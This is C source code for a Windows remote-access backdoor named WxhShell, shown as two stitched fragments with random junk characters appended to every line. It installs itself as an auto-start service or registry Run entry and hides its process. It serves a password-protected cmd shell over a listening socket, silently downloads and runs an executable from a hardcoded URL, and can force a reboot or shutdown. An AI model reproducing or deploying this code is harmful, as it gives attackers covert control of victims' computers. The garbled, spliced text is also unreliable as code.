    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); sxS%1hp3  
    if(Boot(SHUTDOWN)) a#G3dY>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6xA xLZz<  
    else { jse!EtB:  
    closesocket(wsh); (`_fP.Ogb  
    ExitThread(0); u.G aMl4 (  
    } FhPCFmmUT  
    break; p-l FzNPc0  
    } ]d~{8h!G  
  // 获取shell DUH DFG  
  case 's': { !G6h~`[  
    CmdShell(wsh); l@1=./L?  
    closesocket(wsh); @y'ZM  
    ExitThread(0); @v:Eh  
    break; X&| R\v=}  
  } c10$5V&@  
  // 退出 717G CL@  
  case 'x': { _yX.Apv]  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); fP6.  
    CloseIt(wsh); H:9G/Nev  
    break; e2K9CE.O  
    } &cd>.&1<2  
  // 离开 p@Cas  
  case 'q': { KT*>OYI  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); eE=2~ ylU  
    closesocket(wsh); >4-9 @i0FV  
    WSACleanup(); #6~Bg)7AM  
    exit(1); =9`UcTSi6p  
    break; (2QfH$HEk  
        } >qOj^WO~  
  } w(z=xO  
  } (+cZP&o  
NZ0?0*  
  // 提示信息 _<DOA:'v  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); #D%6b  
} Qca3{|r`  
  } %3|/t-US  
4eG\>#5  
  return; LXsZk|IhM  
} TI<3>R  
n)Cr<^j  
// shell模块句柄 7-Oa34ba+  
int CmdShell(SOCKET sock) ^ERdf2  
{ }%jpqip  
STARTUPINFO si; 1X`,7B@pz  
ZeroMemory(&si,sizeof(si)); =kzp$ i  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; >M!LC  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Jw&Fox7p  
PROCESS_INFORMATION ProcessInfo; Ziub%C[oV  
char cmdline[]="cmd"; (fr=N5   
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); C@Go]*c  
  return 0; ,FH1yJ;Y&  
} u??ti OK{  
!4FOX>|L@  
// 自身启动模式 vceD/N8  
int StartFromService(void) u<N`;s  
{ q,%Fvcmx+e  
typedef struct &l!T2PX!  
{ olA+B  
  DWORD ExitStatus; C^;8M'8z0  
  DWORD PebBaseAddress; L;y BZLM  
  DWORD AffinityMask; = &?&}pVF  
  DWORD BasePriority; rly%+B `/  
  ULONG UniqueProcessId; HRjbGc|[  
  ULONG InheritedFromUniqueProcessId; 3&5b!Y  
}   PROCESS_BASIC_INFORMATION; I{WP:]"Yf  
D/ sYH0.V$  
PROCNTQSIP NtQueryInformationProcess; l?rLadvc  
| 5:2?S2R  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; q86}'dFw{  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; m"n" 1;o=  
4[JF.O6}  
  HANDLE             hProcess; Ycq )$7p  
  PROCESS_BASIC_INFORMATION pbi; zxIP-QaA  
Y*p<\{,oC  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); U6*[}Ww  
  if(NULL == hInst ) return 0; ' (XB|5  
*]h"J]  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 2<p@G#(  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); k9<UDg_ Y  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); E i>GhvRM  
WiB~sIp  
  if (!NtQueryInformationProcess) return 0; d!}oS<6  
XEagN:  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); B:0oT  
  if(!hProcess) return 0; aPK:k$.  
:8@eon}  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; frDMFEXXP  
<y~Ba@1u  
  CloseHandle(hProcess); ~m,~;  
h(~/JW[  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); )"hd"  
if(hProcess==NULL) return 0; -y|']I^ &  
%8%|6^,  
HMODULE hMod; %#~wFW|]x  
char procName[255]; CDXN%~0h  
unsigned long cbNeeded; $F9w0kz:,*  
i=]R1yP  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); L-rV+?i`6f  
izGU&VeB  
  CloseHandle(hProcess); }$L1A   
Q _!tn*  
if(strstr(procName,"services")) return 1; // 以服务启动 2#3`[+g<n  
<H-kR\HF  
  return 0; // 注册表启动 IDD`N{EA  
} TQNdBq5I6  
t']/2m.&p  
// 主模块 %t!r pyD  
int StartWxhshell(LPSTR lpCmdLine) (Fuu V{x|  
{ WAR!#E#J7  
  SOCKET wsl; $'_Q@ZBq  
BOOL val=TRUE; *i#N50k*j'  
  int port=0; p-)@#hE  
  struct sockaddr_in door; pX*E(Q)@!  
3D!7,@&>3  
  if(wscfg.ws_autoins) Install(); ~n) |  
GD d'{qE6  
port=atoi(lpCmdLine); %e0X-tXcmX  
 [ OUV!o  
if(port<=0) port=wscfg.ws_port; aG~zMO_)]  
vO&X<5?Qc  
  WSADATA data; dTCLE t.  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; `Npo|.?=  
bma.RCyY<  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   3+d^Bpp4  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); P]y{3y:XxM  
  door.sin_family = AF_INET; <YEKbnw$o  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); u9~Ncz  
  door.sin_port = htons(port); =_iYT044p  
QRKP;aYt  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { E<u(Yw6=  
closesocket(wsl); }fkdv6mz  
return 1; z"\w9 @W  
} ^c(r4#}$"  
Qbjm,>H/^  
  if(listen(wsl,2) == INVALID_SOCKET) { 1y6<gptx  
closesocket(wsl); htL1aQ.  
return 1; hEZo{0:b"  
} 9I [:#,zdf  
  Wxhshell(wsl); 50Gu~No6  
  WSACleanup(); !\d~9H%`B  
eFS$;3FP1  
return 0; @M-Q|  
K0C"s 'q  
} islHtX VE  
\o2l;1~  
// 以NT服务方式启动 I+.U.e^gx  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) LEtGrA/%@b  
{ 4gev^/^^  
DWORD   status = 0; ^[}W}j>  
  DWORD   specificError = 0xfffffff; .>[l@x"  
"M/) LXn:0  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Q(aNa!  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; /F"eqMN  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; I0Allw[  
  serviceStatus.dwWin32ExitCode     = 0; bx{njo1Mr  
  serviceStatus.dwServiceSpecificExitCode = 0; LJb=9tp~  
  serviceStatus.dwCheckPoint       = 0; d*04[5`  
  serviceStatus.dwWaitHint       = 0; $|&<cenMT  
O/ItN5B ;  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); "s]  
  if (hServiceStatusHandle==0) return; XRQ1Uh6  
O gQ8yKfDB  
status = GetLastError(); i%<NKE;v7m  
  if (status!=NO_ERROR) 0QPY+6  
{ `+vQ5l$;L  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; *,:2O&P  
    serviceStatus.dwCheckPoint       = 0; RFFbS{U*  
    serviceStatus.dwWaitHint       = 0; 5[B)U">]  
    serviceStatus.dwWin32ExitCode     = status; ,YBO}l  
    serviceStatus.dwServiceSpecificExitCode = specificError; ,ZrR*W?iF  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); "K9[P :nw  
    return; Wf5;~RJC?  
  } 8mRZ(B>% X  
V6_":L"!  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; >?ar  
  serviceStatus.dwCheckPoint       = 0;  q"T?  
  serviceStatus.dwWaitHint       = 0; )F&.0 '  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell("");  >Z3>  
} -Q5UT=^  
2_3os P\Z  
// 处理NT服务事件,比如:启动、停止 ._A4 :  
VOID WINAPI NTServiceHandler(DWORD fdwControl) &J|I&p   
{ 2-ksr}:  
switch(fdwControl) =L1%gQJJ&  
{ )!E:  
case SERVICE_CONTROL_STOP: L;vglS=l;  
  serviceStatus.dwWin32ExitCode = 0; cmU0=js.  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; =?+w5oI0  
  serviceStatus.dwCheckPoint   = 0; T95FoA  
  serviceStatus.dwWaitHint     = 0; _7';1 D  
  { !ii( 2U  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); \}kR'l  
  } n{~&^Nby*I  
  return; {jR3D!hK  
case SERVICE_CONTROL_PAUSE: j r .{M  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; d_&pxy? >  
  break; o+ {i26%  
case SERVICE_CONTROL_CONTINUE: '~f*O0_  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; zd- *UF i  
  break; qB K68B)  
case SERVICE_CONTROL_INTERROGATE: 2G5|J{4w  
  break; =N\$$3m?  
}; KVEc:<|x  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); _99 +Vjy  
} h:C:opa-=  
|x&4vHXR0  
// 标准应用程序主函数 Bfdfw +  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) _7;G$\^&.  
{ LX&O"YY  
yil5 aUA  
// 获取操作系统版本 L7GNcV]c  
OsIsNt=GetOsVer(); /u9 0)x  
GetModuleFileName(NULL,ExeFile,MAX_PATH); (vi^ t{k  
tBZ?UAe;  
  // 从命令行安装 lFIaC}  
  if(strpbrk(lpCmdLine,"iI")) Install(); =HIKn6C<  
K%/\XnCY  
  // 下载执行文件 -Q Mwtr#q}  
if(wscfg.ws_downexe) { G)b:UJa"  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) +8 \?7,FY  
  WinExec(wscfg.ws_filenam,SW_HIDE); [)8O\/:  
} 5?Q5cD2]\6  
UA6 C/  
if(!OsIsNt) { 'x? |tKzd  
// 如果时win9x,隐藏进程并且设置为注册表启动 8dt=@pwx&  
HideProc(); mRyf+O[  
StartWxhshell(lpCmdLine); "d~<{(:N^  
} [h' 22 W  
else b">"NvlB  
  if(StartFromService()) AA ~7"2e  
  // 以服务方式启动 47*2QL^zj  
  StartServiceCtrlDispatcher(DispatchTable); E#tfCM6  
else vZS/? pU~~  
  // 普通方式启动 ;"EDFH#W  
  StartWxhshell(lpCmdLine); SJLs3iz_)  
"W4|}plnu  
return 0; Yh"9,Z&wiR  
} ngd4PN>{4  
i Pl/I  
zp'hA  
?;5/"/i  
=========================================== Nknd8>Hy+  
Kc1w[EQ  
S ;8=+I,  
+gBD E :  
u| "YS-dH  
YbWz!.WPe  
" `-b{|a J  
aYpc\jJ  
#include <stdio.h> C9k"QPE  
#include <string.h> _Fv6S}~Q  
#include <windows.h> Oo(xYy  
#include <winsock2.h> NL-PQ%lUA  
#include <winsvc.h> "la0@/n  
#include <urlmon.h> :*|So5fs  
.Q@]+&`|}i  
#pragma comment (lib, "Ws2_32.lib") F>[^m Xw  
#pragma comment (lib, "urlmon.lib") 9aIv|cS?  
Q($@{[lT  
#define MAX_USER   100 // 最大客户端连接数 "iK'O =M  
#define BUF_SOCK   200 // sock buffer PV=sqLM~  
#define KEY_BUFF   255 // 输入 buffer &n83>Q  
,1<6=vL  
#define REBOOT     0   // 重启 ix?Z:pIS0  
#define SHUTDOWN   1   // 关机 rXTdhw?+  
"av/a   
#define DEF_PORT   5000 // 监听端口 z1tCSt}7f  
^n4aoj  
#define REG_LEN     16   // 注册表键长度 wu{%gtx/;^  
#define SVC_LEN     80   // NT服务名长度 -H_#et3&i  
b!"qbC1  
// 从dll定义API +[S<"}ls7  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); #Ak9f-pf  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); |6Iw\YU  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); G2c\"[N1/  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); L-q)48+^k  
hA&m G33  
// wxhshell配置信息 n36@&q+B&  
struct WSCFG { tLdQO"  
  int ws_port;         // 监听端口 NP~3!b  
  char ws_passstr[REG_LEN]; // 口令 ^$oEM0h  
  int ws_autoins;       // 安装标记, 1=yes 0=no Xfg?\j/  
  char ws_regname[REG_LEN]; // 注册表键名 ^y|`\oyqwN  
  char ws_svcname[REG_LEN]; // 服务名 =ty{ugM<  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 V!+<  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 fbah~[5}  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 s6 K~I  
int ws_downexe;       // 下载执行标记, 1=yes 0=no v Oo^H  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" P$clSJW  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ?&U~X)Q  
kqC7^x  
}; S|yDGT1  
dOg c%(kz  
// default Wxhshell configuration %/s+-j@s:  
struct WSCFG wscfg={DEF_PORT, 0.(7R,-  
    "xuhuanlingzhe", _R ;$tG,  
    1, '=K~M  
    "Wxhshell", ^fS_h `B  
    "Wxhshell", biQ~q $E  
            "WxhShell Service", _71I9V&  
    "Wrsky Windows CmdShell Service", Q5Mn=  
    "Please Input Your Password: ", Di$++T8"  
  1, ._'.F'd  
  "http://www.wrsky.com/wxhshell.exe", ~"R;p}5 "  
  "Wxhshell.exe" ukD:4s v  
    }; # .OCoc  
"88<{xL  
// 消息定义模块 _XI,z0(  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; -Zg@#H  
char *msg_ws_prompt="\n\r? for help\n\r#>"; }72+i  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; s cd}{Y  
char *msg_ws_ext="\n\rExit."; 3%N!omAe  
char *msg_ws_end="\n\rQuit."; N{!@M_C^%R  
char *msg_ws_boot="\n\rReboot...";  10_@'N  
char *msg_ws_poff="\n\rShutdown..."; L9z5o(Aa  
char *msg_ws_down="\n\rSave to "; o O1Fw1Y  
i^}DIx{  
char *msg_ws_err="\n\rErr!"; :pP l|"  
char *msg_ws_ok="\n\rOK!"; kH62#[J)yM  
2>Kn'p  
char ExeFile[MAX_PATH]; q\fai^_  
int nUser = 0; #CB`7 }jq  
HANDLE handles[MAX_USER]; ;,B $lgF  
int OsIsNt; 0qN?4h)7  
a)/ }T  
SERVICE_STATUS       serviceStatus; >- CNHb  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; +/#Lm#*nu%  
$1D>}5Ex  
// 函数声明 %b ^.Gw\L  
int Install(void); !OR %AdxB  
int Uninstall(void); 0'`#I  
int DownloadFile(char *sURL, SOCKET wsh); M8FC-zFs  
int Boot(int flag); RUV:   
void HideProc(void); F @Wb<+0  
int GetOsVer(void); il:RE8  
int Wxhshell(SOCKET wsl); vH?3UW  
void TalkWithClient(void *cs); YJ01-  
int CmdShell(SOCKET sock); <gY.2#6C\%  
int StartFromService(void); ?NUDHUn_  
int StartWxhshell(LPSTR lpCmdLine); iN+&7#x;/  
8d>>r69$pa  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Aq&H-g]s  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); j sw0"d(  
F8*P/<P1cK  
// 数据结构和表定义 qI1J M =  
SERVICE_TABLE_ENTRY DispatchTable[] = lXrAsm$  
{ sYyya:ykxT  
{wscfg.ws_svcname, NTServiceMain}, +~EFRiP]  
{NULL, NULL} <%LN3T  
}; I h 19&D  
"nn>I}jK  
// 自我安装 Q\Nz^~dQ:Y  
int Install(void) >xm:?WR  
{ Eg]tDPN1  
  char svExeFile[MAX_PATH]; #)<WQZ)  
  HKEY key; Z%Yq{tAt  
  strcpy(svExeFile,ExeFile); zCpXF< _C  
53?B.\  
// 如果是win9x系统,修改注册表设为自启动 OjY#xO+'  
if(!OsIsNt) { $4rMYEn08  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /m*+N9)  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Z E},x U%  
  RegCloseKey(key); Q-$EBNz  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { f`,isy[  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); xz vbjS W  
  RegCloseKey(key); "]1|%j  
  return 0; 2c8e:Xgv  
    } P&8QKX3 j^  
  } 7?~*F7F  
} 4-\gha  
else { vsCy?  
@:G#[>nKe  
// 如果是NT以上系统,安装为系统服务 L]Dl}z  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 7T9Mo .  
if (schSCManager!=0) 9uA2M!~i2  
{ Zd[6-/-:  
  SC_HANDLE schService = CreateService )?,X\/5  
  ( Hd0?}w\  
  schSCManager, . ^JsnP  
  wscfg.ws_svcname, )R9QJSe  
  wscfg.ws_svcdisp, vip& b}u  
  SERVICE_ALL_ACCESS, vKcc|#  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , /-&a]PJ  
  SERVICE_AUTO_START, 1 c4I`#_v  
  SERVICE_ERROR_NORMAL, ~z*A%vp6ER  
  svExeFile, orr6._xw  
  NULL, 8>~\R=SC  
  NULL, $_&gT.>  
  NULL, VA@t8H,  
  NULL, |H@1g=q  
  NULL *D$Hd">X  
  ); *lws7R  
  if (schService!=0) '/H+  
  { |a[Id  
  CloseServiceHandle(schService); FaE,rzn)iD  
  CloseServiceHandle(schSCManager); LuUfdzH  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); KZt4 dr  
  strcat(svExeFile,wscfg.ws_svcname); xO` O$ie  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Oxhc!9F  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); dQH9NsV7g  
  RegCloseKey(key); !S}4b   
  return 0; J+20]jI  
    } #[aHKq:?b  
  } I^yInrRh5  
  CloseServiceHandle(schSCManager); uf&Ke k,  
} ~xP4}gs1  
} fp2.2 @[  
I2<t?c:Pn<  
return 1; 0!!z'm3  
} v d}Y$X  
(}NKW  
// 自我卸载 r1QLSD]i6  
int Uninstall(void) j @+QwZL|  
{ ;Jq 7E  
  HKEY key; c2fbqM~  
%Ut7%obpi  
if(!OsIsNt) { gls %<A{C  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { '-5Q>d~&h  
  RegDeleteValue(key,wscfg.ws_regname); F8%.-.l)  
  RegCloseKey(key); 7Eett)4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { f)/5%W7n}  
  RegDeleteValue(key,wscfg.ws_regname); =]yzy:~ey  
  RegCloseKey(key); Y< drRK!  
  return 0; !XJS"owr  
  } b )mU9   
} vpl> 5%  
} 3BWYSJ|  
else { y&$v@]t1  
xsIuPL#_  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); XAf,k&f3  
if (schSCManager!=0) uzpW0(_i3a  
{ QCvz|)  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); )cd5iE:FO  
  if (schService!=0) JVgV,4 1  
  { BYBf`F)4  
  if(DeleteService(schService)!=0) { Q-M"+HO  
  CloseServiceHandle(schService); W8R"X~!V  
  CloseServiceHandle(schSCManager); _R?:?{r,  
  return 0; ic_q<Y}  
  } ) FnJLd  
  CloseServiceHandle(schService); Y^~Dr|5%  
  } )k}UjU`!  
  CloseServiceHandle(schSCManager); >SR! *3$5  
} C0$KpUB  
} *[^[!'kT&  
hLf<-NM  
return 1; 7 P$>T  
} G uLU7a  
`78:TU~5S  
// 从指定url下载文件 L]C|&K P  
int DownloadFile(char *sURL, SOCKET wsh) HMymoh$Q  
{ WG0Ne;Ho  
  HRESULT hr; ev_4!+ko  
char seps[]= "/"; /T_@rm  
char *token; (dh{Gk4=+  
char *file; {!`0i  
char myURL[MAX_PATH]; vdLBf+Zi  
char myFILE[MAX_PATH]; o2C{V1nB  
sAG#M\A6  
strcpy(myURL,sURL); )Kw Gb&l&  
  token=strtok(myURL,seps); LyB &u( )  
  while(token!=NULL) AQH\ ;L  
  { 97%S{_2m/  
    file=token; dq&N;kk |  
  token=strtok(NULL,seps); ^t'mfG|DV  
  } :t36]NM  
PfRe)JuB  
GetCurrentDirectory(MAX_PATH,myFILE); "ApVgNB  
strcat(myFILE, "\\"); 8I X,q  
strcat(myFILE, file); 7;T6hKWV[  
  send(wsh,myFILE,strlen(myFILE),0); KiDL]2  
send(wsh,"...",3,0); XpLK0YI  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); r#xq 8H=_m  
  if(hr==S_OK) T3W?-,  
return 0; L&WhX3$u  
else p*_^JU(<p  
return 1; ksB-fOv*N  
a2MFZe  
} )Zcw G(o0  
9Rg|oCP_  
// 系统电源模块 cy6lsJ"?  
int Boot(int flag) 5A~lu4-q  
{ .(7 end<  
  HANDLE hToken; ?7Y6: zo$^  
  TOKEN_PRIVILEGES tkp; YFF\m{#  
{xzs{)9|Y4  
  if(OsIsNt) { -9Ll'fbq  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); #@#/M)  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); EqV]/0-\  
    tkp.PrivilegeCount = 1; dP0%<Q|  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; QX]~|?q  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); M+akD  
if(flag==REBOOT) { l^B PTg)X@  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) {|;5P.,l  
  return 0; ,W!v0*uxp&  
} <ETR6r  
else { d0Jaa1b~O  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) SGuLL+|W#8  
  return 0; *C (/ 2  
} gW[(gf.oo  
  } |NsrO8H   
  else { aOj(=s  
if(flag==REBOOT) { 9F&s9(=\  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) c%N8|!e  
  return 0; P}AfXgr  
} -f+U:/'.>v  
else { ,'KQFC   
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) {g%F 3-  
  return 0; 1${lHVx]  
} xzqgem`[\  
} \,b@^W6e>  
@.PVUP  
return 1; lBbUA)z6  
} Z;nbnRz  
]Ywj@-*q  
// win9x进程隐藏模块 SP,#KyWP0)  
void HideProc(void) UY)e6 Zd  
{ `pHlGbrW  
nMniHB'  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); uEK9  
  if ( hKernel != NULL ) eq|G\XJ  
  { }3"FQ/6C  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");  o IUjd  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); $<y10DfO  
    FreeLibrary(hKernel); zPC&p{S>  
  } ranLHm.nB  
VeJM=s.y7  
return; w}OJ2^  
} &_L FV@/  
Kn WjP21  
// 获取操作系统版本 !yo/ F& 6  
int GetOsVer(void) L7_qs+  
{ 1qR[& =/  
  OSVERSIONINFO winfo; dFu<h   
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ~s :M l  
  GetVersionEx(&winfo); DQ<{FN  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 8hTtBa  
  return 1; qMk"i@"  
  else `qNhB\  
  return 0; Ux<2!vh  
} tAPr4n!  
(&=<UGY(w  
// 客户端句柄模块 #~ :j< =o  
int Wxhshell(SOCKET wsl) 9WJS.\G^  
{ DPU%4te  
  SOCKET wsh; i|@lUXBp  
  struct sockaddr_in client; )CYm/dk  
  DWORD myID; )4[Yplo  
U_-9rkUa  
  while(nUser<MAX_USER) M!{;:m28X!  
{ O3?3XB> <  
  int nSize=sizeof(client); hU:M]O0uw  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); [@l:C\2  
  if(wsh==INVALID_SOCKET) return 1; j2U iZLuV  
bVB_KE  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); iK#5nY].  
if(handles[nUser]==0) Q\P?[i]  
  closesocket(wsh); y%y F34  
else Q: H`TSR]  
  nUser++; !N`$`qAK  
  } G lz0`z  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); {HJzhIgCf  
(1 L9K;  
  return 0; cGevFlnh  
} *r b/BZX{  
x6, #Jp  
// 关闭 socket B1EI'<S  
void CloseIt(SOCKET wsh) DrG9Kky{  
{ Rmq8lU  
closesocket(wsh); q`l&G%  
nUser--; $_j\b4]%  
ExitThread(0); qdlz#-B  
} .,)C^hs@  
.pP{;:Avpn  
// 客户端请求句柄 mSw$? >  
void TalkWithClient(void *cs) l>KkK|!T^i  
{ Fq]ht*  
}b// oe7  
  SOCKET wsh=(SOCKET)cs; Cr!}qZq  
  char pwd[SVC_LEN]; (QO8_  
  char cmd[KEY_BUFF]; gUfLw  
char chr[1]; nLA8Hy"8z  
int i,j; ` >w4G|{  
h";0i:  
  while (nUser < MAX_USER) { h  0EpW5  
D{Zjo)&tF'  
if(wscfg.ws_passstr) { .|[5*-  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); e|`QW|9 .  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); &\3k(j  
  //ZeroMemory(pwd,KEY_BUFF); Dr;-2$Kt/&  
      i=0; U"1z"PcV  
  while(i<SVC_LEN) { c$cb2V7,  
c.-/e u^|  
  // 设置超时 B.wRZDEvc  
  fd_set FdRead; _QD##`<  
  struct timeval TimeOut; YLr<^G-v  
  FD_ZERO(&FdRead); kRCuc}:SB  
  FD_SET(wsh,&FdRead); *, /ADtL  
  TimeOut.tv_sec=8; {uurM` f}:  
  TimeOut.tv_usec=0; DNARe!pK  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); QAp+LSm  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ?s4-2g  
8"d0Su4r  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); C~16Jj:v  
  pwd=chr[0]; =%p%+F@RlW  
  if(chr[0]==0xd || chr[0]==0xa) { 9#:b+Amzz  
  pwd=0; ! xU1[,9  
  break; ]et4B+=i  
  } N;<.::x  
  i++; d?j_L`?+  
    } ~0mO<0~  
-`z`K08sT  
  // 如果是非法用户,关闭 socket Ca: jN0  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); T gpf0(  
} j,q8n`@  
V3<baxdE  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); y*Egt`W  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); #6XN_<  
B{\cV-X$0  
while(1) { 54TW8y `h  
k{*IR  
  ZeroMemory(cmd,KEY_BUFF); 2v ^bd^]u:  
EhEUkZE3 )  
      // 自动支持客户端 telnet标准   ?\GILB,  
  j=0; hJqLH ?Ri  
  while(j<KEY_BUFF) { hXsd12  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /~w!7n<7  
  cmd[j]=chr[0]; fS08q9,S/  
  if(chr[0]==0xa || chr[0]==0xd) { 0?)U?=>]p  
  cmd[j]=0;  xc%\%8C}  
  break; I3;{II  
  } EXlmIY4  
  j++; vvJ{fi  
    } w"s;R8  
%M=[h2SN  
  // 下载文件 m5O;aj* i  
  if(strstr(cmd,"http://")) { (!-gX" <b  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); -E6#G[JJ  
  if(DownloadFile(cmd,wsh)) (1~d/u?2\  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7 Jxhn!  
  else 8MHYk>O~{G  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); H4s^&--  
  } }?"}R<F|M,  
